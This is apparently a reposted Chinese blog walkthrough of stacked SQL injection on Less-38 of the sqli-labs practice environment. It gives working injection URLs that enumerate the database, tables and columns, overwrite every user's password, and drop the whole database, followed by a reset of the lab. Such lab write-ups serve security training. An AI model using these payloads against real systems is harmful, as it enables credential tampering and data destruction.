MySQL之堆叠注入

堆叠注入

任务:对38关进行修改密码,删库,恢复环境

修改密码

38关,堆叠查询,修改密码为654321

获取存密码的表的信息

获取数据库名

http://localhost/sqli_labs/Less-38/?id=1'  and 1=2 union select 1,database(),3--+

image-20230823185317807

获得数据库名:security

获取表名

http://localhost/sqli_labs/Less-38/?id=1'  and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

image-20230823185259131

可以看到有个表名为users,可以很容易猜测到这是存用户信息的表,所以可以通过sql注入查找这个表的字段名。

获取字段名

http://localhost/sqli_labs/Less-38/?id=1'  and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users"--+

image-20230823185550019

修改密码

通过以上操作,可以知道存密码的地方在users表中,而且密码字段名字为password

通过堆叠注入即可完成修改密码的操作

http://localhost/sqli_labs/Less-38/?id=1';update users set password=654321;--+

再次正常访问,即可发现密码已经修改成了654321

image-20230823185944944

注意堆叠注入需要使用分号表示一个sql语句的结束

删库

http://localhost/sqli_labs/Less-38/?id=1';drop database security;--+

image-20230823190424250

恢复sqli_labs环境

点击如下图所指的地方即可:

image-20230823190531908

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132461080
今日推荐